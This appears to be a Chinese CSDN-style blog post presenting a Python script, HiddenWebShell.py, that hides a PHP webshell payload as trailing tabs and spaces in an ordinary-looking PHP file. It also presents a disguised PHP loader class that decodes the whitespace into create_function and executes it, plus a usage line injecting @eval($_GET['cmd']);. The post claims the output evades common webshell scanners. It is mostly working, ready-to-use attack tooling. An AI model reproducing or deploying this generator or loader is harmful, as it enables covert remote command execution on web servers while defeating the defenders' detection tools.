【python实现生成隐藏的一句话木马】

本文介绍了Webshell的工作原理,通过利用空格和制表符隐藏ASCII码来创建不可见的PHP木马。提供了一个Python脚本`HiddenWebShell.py`,用于在正常PHP文件中插入隐藏的Webshell。通过运行该脚本,可以生成一个与原始文件内容相同的PHP文件,但安全工具无法检测到其中的恶意代码。这种方法展示了Webshell逃避检测的技巧,提醒了安全防护的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  如今,各大杀毒软件死死的盯着那几个危险函数不放。但是还有些人喜欢通过检索 webshell 关键字这样批量去找,这就更不可能找到了。那么今天这个 webshell 的原理是什么呢?这个webshell的原理就是:每一行最后都有空格与制表符。\t的数量代表着 ascii 码 16 进制的第一位,空格的数量代表着 ascii 码 16 进制的第二位。然后有个关键的15,其实代表了前 15 行的空白字符组成的是create_function,后面就可以写一句话咯,例如@eval($_GET["pass"]);,每一行写入一个字符即可。执行的时候先读取自身代码之后,按行提取出里面的空格和制表符,提取出隐藏的代码之后执行就完事了。

我们用python制作一个专门插入shell的脚本,并命名为HiddenWebShell.py

import sys

def put_color(string, color):
    colors = {
        'red': '31',
        'green': '32',
        'yellow': '33',
        'blue': '34',
        'pink': '35',
        'cyan': '36',
        'gray': '2',
        'white': '37',
    }
    return '\033[40;1;%s;40m%s\033[0m' % (colors[color], str(string))
if len(sys.argv) not in [3, 4]:
    sys.exit(
        '''[!] usage: python hidden_webshell.py payload filename [output_filename]\n'''
        '''  [-] example: python {}{}{}'''.format(
            put_color('hidden_webshell.py', 'white'),
            put_color(''' 'system("echo \"hacked by benben :)\"");' ''', 'green'),
            put_color('webshell.php', 'blue')
        )
    )
webshell_name = sys.argv[2]
hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php'
exp = sys.argv[1]
if not exp.endswith(';'):
    print('[!] WARN: {} {}'.format(
        put_color('The payload should end in', 'yellow'),
        put_color(';', 'cyan')
    ))
    print('  [+] Hide webshell')
    print('  [-] Read from {}'.format(put_color(webshell_name, 'blue')))
    print('  [-] Payload is {}'.format(put_color(exp, 'green')))
payload = 'create_function' + exp
with open(webshell_name, 'r') as fp:
    raw_php = fp.readlines()
for line, content in enumerate(payload):
    hex_num = hex(ord(content))
    tab_num = int(hex_num[2], 16)
    space_num = int(hex_num[3], 16)
    hidden = '\t' * tab_num + ' ' * space_num
    if line < len(raw_php):
        if raw_php[line].endswith('\n'):
            raw_php[line] = raw_php[line][:-1] + hidden + '\n'
        else:
            raw_php[line] = raw_php[line] + hidden
    else:
        raw_php.append(hidden + "\n")
with open(hidden_name, 'w') as fp:
    fp.writelines(raw_php)
print('[!] Saved as {}'.format(put_color(hidden_name, 'blue')))
print('[!] All done\n\nBye :)')

接着找一个php文件,其中可以写入一些正常的符合php语法的代码:demo.php:

<?php
class getHigherScore {
    function __construct() {
        $lines = file(__FILE__);
        $lower = "";							    
        $higher = "";
        for($i = 0; $i < count($lines); $i++) {
            $value = $this->getArrayValue($lines[$i]);
            if ($i < 15) {
                $lower .= $value;
            } else {
                $higher .= $value;
            }
        }
        $verifyScore = $lower('', "$higher");
        $result = $verifyScore();
        return $result;
    }
    function getArrayValue($result) {
        preg_match('/([\t ]+)\r?\n?$/', $result, $match);
        if (isset($match[1])) {
            $lower = dechex(substr_count($match[1], "\t"));
            $higher = dechex(substr_count($match[1], " "));
            $result = hexdec($lower.$higher);
            $result = chr($result);
			print $result;
            return $result;
        }
        return '';
    }
}
$score = new getHigherScore();
print $score;

使用python脚本优化demo.php脚本:

python HiddenWebShell.py @eval($_GET['cmd']);  demo.php    这样就可以生成一个让人摸不着头脑的php木马文件,内容和demo.php一模一样,但是利用webshellkiller工具、安全狗、D盾是无法识别出来的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值